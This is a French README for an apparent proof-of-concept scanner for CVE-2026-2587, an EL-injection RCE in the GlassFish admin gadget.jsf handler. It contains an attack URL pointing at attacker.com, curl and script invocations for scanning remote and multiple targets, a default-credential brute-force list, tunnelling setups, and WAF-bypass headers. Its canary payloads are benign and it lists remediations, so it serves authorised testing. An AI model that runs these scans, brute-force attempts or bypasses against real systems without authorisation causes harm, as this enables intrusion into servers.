
CVE-2026-2587 validateur de PoC pour Eclipse GlassFish EL Injection RCE dans le gestionnaire gadget.jsf de la console d'administration. Scanner de vulnérabilités authentifié sûr pour les tests autorisés.
Validateur PoC sécurisé pour CVE-2026-2587, un problème critique d'injection EL / RCE affectant la manipulation des gadgets de la console d'administration d'Eclipse GlassFish via /common/gadgets/gadget.jsf.
Cet outil aide les équipes de sécurité à valider l'exposition à GlassFish CVE-2026-2587 dans des environnements autorisés en utilisant un canari EL arithmétique bénin.
Attribué par : Eclipse Foundation (CNA) · Publié : 19 mai 2026 CVSS :
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE : CWE-917 — Injection de langage d'expression Versions affectées :Inconnuesdans l'avis public au 21 mai 2026 Versions corrigées :Inconnuesdans l'avis public au 21 mai 2026 Règle du scanner : la version est uniquement un contexte de routage/rapport ; le verdict nécessite une preuve.
Une vulnérabilité critique d'exécution de code à distance existe dans le gestionnaire de gadgets de la console d'administration de GlassFish. L'application traite les fichiers .xml récupérés depuis une URL fournie via le paramètre de requête gadget= et évalue les valeurs fournies par l'utilisateur dans les attributs <ModulePrefs> via le moteur de langage d'expression Java (EL) sans nettoyage ni échappement.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Si le XML contient `#{7*7}` dans un attribut `<ModulePrefs title="">`, GlassFish l’évalue côté serveur et renvoie `49` — confirmant l’exécution EL. Une chaîne RCE complète s’ensuit via l’accès d’EL à l’environnement Java.
Les avis de sécurité publics actuels ne publient pas de périmètre de versions affectées ou corrigées.
Ce validateur est donc basé sur la preuve en premier lieu : il identifie GlassFish et
rapporte les métadonnées de version, mais il ne classe pas une cible comme vulnérable à partir de la seule chaîne de version.
---
## Comment ça fonctionne

Le chemin de validation sécurisé héberge une sonde XML bénigne, envoie une requête authentifiée à la console d’administration vers `gadget.jsf`, laisse GlassFish récupérer ce XML depuis l’URL de rappel, et vérifie si le canari `<ModulePrefs title="">` s’évalue de `#{7*7}` en `49`.
**Point d’injection confirmé vs. non :**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
Le vecteur CVSS PR:N / UI:R signifie :
PR:N — l'attaquant n'a besoin d'aucun identifiantUI:R — un administrateur connecté doit interagir (livraison CSRF)Pour la validation en laboratoire, ignorez complètement la CSRF — utilisez directement votre propre session administrateur.
Prérequis : Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Contenu du dépôt :**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Avertissement : GHSA liste toujours les versions affectées et corrigées comme inconnues.
omnifish/glassfish:7.0.15est un bon candidat pour le laboratoire — pas une version garantie vulnérable. La primitive de validation reste le canari arithmétique : si#{7*7}évalue à49, EL est actif.
docker compose -f docker-compose.lab.yml up
Démarre GlassFish 7.0.15 avec les ports liés à `127.0.0.1` uniquement et `host.docker.internal` pré-câblé pour que le conteneur puisse atteindre votre serveur XML local.
### Option B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Console d'administration : https://localhost:4848 · Identifiants : admin / admin
(Certificat auto-signé — avertissement du navigateur attendu.)
Dans un deuxième terminal :```bash
python3 -m http.server 8000 --bind 0.0.0.0
Vérifier l'accessibilité depuis la perspective du conteneur :```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
Connectez-vous d'abord à la console d'administration (session navigateur ou --cookie), puis :```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| Sortie | Signification |
|---|---|
| `CVE2587_TITLE_49_END` | **Vulnérable** — EL évalué dans `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **Vulnérable** — EL évalué dans le corps CDATA |
| `CVE2587_TITLE_#{7*7}_END` | Non vulnérable / EL non évalué |
| *(no output)* | GlassFish n'a jamais récupéré le XML — vérifier l'accessibilité du callback |
> Le corps CDATA reste généralement brut même sur les versions vulnérables ; un résultat `TITLE` positif seul suffit pour confirmer la découverte.
### Validation automatisée sur le laboratoire local```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
Le dépôt est livré avec probe.xml prêt à l'emploi. Vous pouvez également en générer un nouveau à tout moment — utile lorsque vous souhaitez un préfixe canary personnalisé ou des valeurs randomisées pour que la sonde soit unique par engagement.```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
Sortie après écriture dans un fichier :```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
À utiliser lorsque GlassFish est exécuté localement ou dans Docker sur la même machine.
Récupérez votre JSESSIONID depuis les DevTools du navigateur → Application → Cookies pendant que vous êtes connecté à la console d'administration, puis :```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `host.docker.internal` correspond à la machine hôte depuis l'intérieur de Docker.
> Le conteneur GlassFish récupère votre XML de sonde via cette adresse.
---
### Identifiants```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
Si la connexion par formulaire échoue, le script passe outre et tente tout de même le point de terminaison.
Si cela échoue également, il affiche des instructions étape par étape pour obtenir un cookie de session.
Lorsque vous n'avez aucun identifiant du tout, --brute essaie 21 paires d'identifiants par défaut courantes de GlassFish dans l'ordre et utilise la première qui réussit. Mutuellement exclusif avec --username et --cookie.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose
Si une paire valide est trouvée, elle est affichée dans la sortie et enregistrée dans la colonne
`brute_creds` du CSV. Si toutes les paires échouent, le scan se termine avec `AUTH_REQUIRED`.
Certaines versions de GlassFish renvoient `/login.jsf` après une soumission de formulaire valide. Le validateur
ne considère pas cette URL seule comme un échec ; il confirme la session en sondant le
point de terminaison du gadget admin et en vérifiant que la réponse n'est pas le formulaire de connexion.
Liste des identifiants essayés (dans l'ordre) :
| Nom d'utilisateur | Mot de passe |
|---|---|
| `admin` | `admin` |
| `admin` | *(vide)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |
---
### À distance via le tunnel Cloudflare
Aucun compte requis pour un tunnel rapide.
**Étape 1 — Installer cloudflared :**```bash
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
Étape 2 — Démarrer le tunnel:```bash
cloudflared tunnel --url http://localhost:8000
**Étape 3 — Exécuter le validateur :**
Utilisez le même nom d'hôte généré avec `http://` pour l'URL de rappel. Cela évite
les échecs de trust-store JVM dans les conteneurs de laboratoire GlassFish qui ne peuvent pas valider la
chaîne de certificats TLS de Cloudflare. Si vous collez l'URL `https://`
trycloudflare générée, le validateur réécrit ce rappel en `http://` et affiche
un avertissement. Une barre oblique finale est facultative ; le validateur ajoute automatiquement `/canary.xml` et
les chemins XML spécifiques à chaque test.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Utilisez lorsque vous ne pouvez pas exécuter un serveur local. La JVM GlassFish cible doit pouvoir récupérer cette URL directement, donc un HTTP simple sur un VPS/serveur web de confiance est souvent
plus fiable que des hôtes HTTPS dont la chaîne de certificats n'est pas approuvée par la
JVM cible.
Le flag --xml-url contourne entièrement le serveur intégré.
Générez un nouveau XML de sonde, puis hébergez-le :```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `--prefix`, `--left`, `--right` doivent correspondre aux valeurs présentes dans votre fichier XML hébergé, afin que le script sache quel jeton évalué rechercher dans la réponse.
---
### Accès distant via ngrok (dernier recours)
Utilisez ngrok uniquement en dernier recours pour les cibles distantes. Le niveau gratuit peut bloquer les récupérations côté serveur qui ne proviennent pas d'un navigateur en renvoyant une page d'avertissement HTML interstitielle. Dans ce cas, GlassFish récupère la page d'avertissement au lieu de votre `probe.xml`, et le validateur peut classer la réponse comme une page de connexion ou un résultat non concluant. Préférez Cloudflare Tunnel, un VPS, ou un hébergeur web statique que la JVM cible peut récupérer proprement, sauf si vous avez un compte ngrok payant qui contourne cette restriction.
**Étape 1 — Installer ngrok :**```bash
# macOS
brew install ngrok
# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
Étape 2 — Exposez votre serveur local :```bash
ngrok http 8000
**Étape 3 — Exécutez le validateur :**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Remplacez
abc123.ngrok-free.apppar votre URL ngrok réelle. Le script démarre son propre serveur XML sur:8000; ngrok transfère depuis internet vers celui-ci.
Testez si le point de terminaison est accidentellement exposé sans authentification avant d'effectuer une analyse complète authentifiée. Se termine immédiatement après la phase 1.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure
---
## Utilisation — Cibles multiples
### Format du fichier de cibles
Le dépôt inclut `targets.txt.example` comme modèle. Copiez-le et modifiez-le:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers
Format — une cible par ligne, les lignes commençant par # et les lignes vides sont ignorées, les identifiants par cible remplacent les --username/--password globaux :```
https://server2:4848 admin password123 https://server3:4848 ops secret99
https://server4:4848 admin:admin
Exécuter sur toutes les cibles :```bash
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--insecure \
--csv results.csv
Les
--username/--passwordglobaux s'appliquent aux cibles sans identifiants par ligne. Les identifiants par ligne prévalent sur les globaux.
Utilisez --threads pour scanner plusieurs cibles simultanément.
Le serveur XML intégré est partagé entre tous les threads.```bash
python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json
> Nombre de threads recommandés :
> - Lab local : jusqu'à `10`
> - Cibles distantes via internet : `3–5` (respecter les limites de débit)
> - Cible unique : `1` (par défaut)
---
## Formats de sortie
### Console
Sortie humaine lisible par défaut. Ajoutez `--verbose` pour voir les résultats par cas de test.```
────────────────────────────────────────────────────────────────
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
Version : Eclipse GlassFish 7.0.15 [asadmin-api] (affected: UNKNOWN)
Console : present | Gadget: present | Proof: evaluated
[+] VULNERABLE — 9/10 test cases confirmed
[+] TC-01 Basic multiply #{7*7} → 49
[+] TC-02 Addition #{1337+2587} → 3924
[+] TC-03 Large multiply #{31337*271} → 8492327
...
Remediation: restrict admin access and apply vendor-published fixed builds when available.
Résumé multi-cible :``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════
### CSV```bash
# Write to file
--csv results.csv
# Write to stdout (pipe-friendly)
--csv -
Colonnes CSV :
Exemples de lignes :```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired
### JSON```bash
--json
Cible unique :```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }
Plusieurs cibles renvoient un tableau JSON.
---
### Combinaison des sorties
Tous les formats de sortie sont indépendants — combinez librement :```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--username admin --password admin \
--threads 5 --insecure --verbose \
--csv results.csv \
--json > results.json
Par défaut, le scanner teste le chemin partagé du gadget GlassFish sous les racines d'interface d'administration courantes :```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf
Il apprend également une racine de contexte GUI non par défaut à partir des en-têtes de redirection `Location` et ajoute cette racine avant les tests. Utilisez les valeurs répétables `--path` uniquement lorsque vous souhaitez remplacer cette liste de découverte.
La détection de version est tentée à partir des en-têtes de réponse, de l'API REST de gestion, de la page de connexion, et après une connexion réussie, de `/__asadmin/version.json` ou `/__asadmin/version`. Les données de version améliorent uniquement le routage et les rapports ; le scanner laisse `version_affected` comme `UNKNOWN` jusqu'à ce que des enregistrements d'avis publics publient une limite de version.
---
### Valeurs Canary Personnalisées
Faites correspondre le validateur à un XML fabriqué à la main en utilisant `--prefix`, `--left`, `--right`. Requis lors de l'utilisation de `--xml-url` avec votre propre fichier hébergé.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/custom.xml \
--prefix MYTEST --left 13 --right 17 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
Ajoutez des en-têtes arbitraires — utiles pour contourner un WAF, le routage d'équilibrage de charge ou les tests derrière un proxy inverse.```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure
## Cas de test
Le validateur exécute 10 sondes EL distinctes, chacune confirmant une capacité différente :
| # | Payload | Attendu | Ce qu'il prouve |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Canari arithmétique de base |
| TC-02 | `#{1337+2587}` | `3924` | Opérateur d'addition |
| TC-03 | `#{31337*271}` | `8492327` | Multiplication de grands nombres résistante aux collisions |
| TC-04 | `#{9999-1337}` | `8662` | Opérateur de soustraction |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Parenthèses imbriquées / précédence des opérateurs |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Conditionnel / ternaire — exécution du flux de contrôle |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | Accès aux méthodes de chaîne |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Appels de méthodes chaînés |
| TC-09 | `#{17 mod 5}` | `2` | Opérateur de mot‑clé EL |
| TC-10 | `#{100*100}` | `10000` | Confirmation arithmétique supplémentaire |
TC-06, TC-07 et TC-08 sont les plus significatifs — les réussir signifie que le moteur EL exécute **des méthodes d'API de chaînes et une logique conditionnelle**, le précurseur direct de la chaîne complète d'exécution de code (RCE).
---
## Interprétation des sorties
| Statut | Signification |
|---|---|
| `VULNERABLE` | Expression EL évaluée — instance confirmée affectée |
| `VULNERABLE_UNAUTH` | Point d'accès exposé sans authentification — pire que la CVE de base |
| `NOT_VULNERABLE` | Expression reflétée littéralement — EL non évaluée |
| `AUTH_REQUIRED` | Point d'accès a retourné une page de connexion — vérifier le cookie ou les identifiants |
| `INCONCLUSIVE` | Réponse reçue mais canari non trouvé — voir ci-dessous |
| `ERROR` | Requête échouée — problème réseau / TLS |
`detected_version` et `version_source` sont des informations contextuelles. Étant donné que les avis publics listent actuellement les versions affectées et corrigées comme inconnues, ne traitez pas `version_affected=UNKNOWN` comme un résultat négatif. La seule constatation positive est un jeton de preuve évalué.
**Dépannage INCONCLUSIVE :**
| Symptôme | Cause | Correctif |
|---|---|---|
| `XML hits: 0` | GlassFish n'a jamais récupéré votre XML | `--callback-url` inaccessible depuis la cible |
| `XML hits: 1+` mais pas de correspondance | EL évaluée mais mauvais champ | Attendu pour le contenu CDATA |
| Redirection d'authentification en cours d'exécution | Session expirée | Obtenez un nouveau `JSESSIONID` depuis le navigateur |
| Login POST redirige vers `j_security_check` | Mot de passe incorrect | Utilisez `--cookie` à la place |
---
## Vérification manuelle
Pas besoin de Python :```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
<ModulePrefs title="PROBE_#{7*7}_END"/>
<Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF
# Step 2 — serve it
python3 -m http.server 8000 --directory probe &
# Step 3 — hit the endpoint with your session cookie
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
| grep -oE 'PROBE_[^"< ]+_END'
# Vulnerable output:
# PROBE_#{7*7}_END ← raw (CDATA — expected)
# PROBE_49_END ← evaluated ✅ VULNERABLE
Ce dépôt est destiné uniquement aux tests de sécurité autorisés et à la recherche.
Structure du dépôt :``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md
---
<p align="center">
<a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
| Scénario | Authentification requise ? |
|---|
Accès direct à gadget.jsf | Oui — authentification FORM, page de connexion 200 |
| Attaque CSRF réelle | Non — exploite la session active de l'administrateur |
| Ce validateur | Oui — --cookie ou --username/--password |
| Vérification d'exposition non authentifiée | Non — le script teste cela automatiquement |
| Colonne | Description |
|---|
target | URL cible |
timestamp | Heure de scan UTC ISO-8601 |
verdict | VULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR |
vulnerable_count | Nombre de cas de test ayant confirmé l'évaluation EL |
total_tests | Nombre total de cas de test exécutés |
unauth_exposed | YES si le point de terminaison a répondu sans authentification |
active_endpoint | URL du point de terminaison utilisé pour le test |
server_header | En-tête Server: de GlassFish |
detected_version | Chaîne de version si identifiée |
version_source | Source de la valeur de version : en-tête, page de connexion REST ou asadmin-api |
version_affected | Statut de version selon l'avis. Actuellement UNKNOWN car les plages affectées/corrigées publiques ne sont pas publiées |
admin_console | present, not_found ou unknown |
gadget_endpoint | present, blocked, not_found ou unknown |
proof | evaluated, not_evaluated ou not_attempted |
TC-01 … TC-10 | Résultat par test : VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED |
notes | Message d'erreur si l'analyse a échoué |
| Action | Détails |
|---|
| Mise à niveau | Appliquer la build corrigée publiée par le fournisseur lorsque Eclipse/NVD/GHSA publie une version corrigée |
| Désactiver le gestionnaire de gadget | Bloquer /common/gadgets/gadget.jsf au niveau du WAF/pare-feu si inutilisé |
| Console d'administration du pare-feu | Restreindre le port 4848 aux seules IP de confiance |
| Protections CSRF | Assurer l'attribut SameSite sur les cookies des sessions d'administration |
| Règle WAF | Bloquer #{ et ${ dans les corps XML atteignant le point de terminaison du gadget |
| Ressource | Lien |
|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| GitHub Advisory (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| Suivi CVE Eclipse | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| Source Eclipse GlassFish | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| Rapporteur | Camilo G. (DeepSecurity Perú) — @SeguridadBlanca |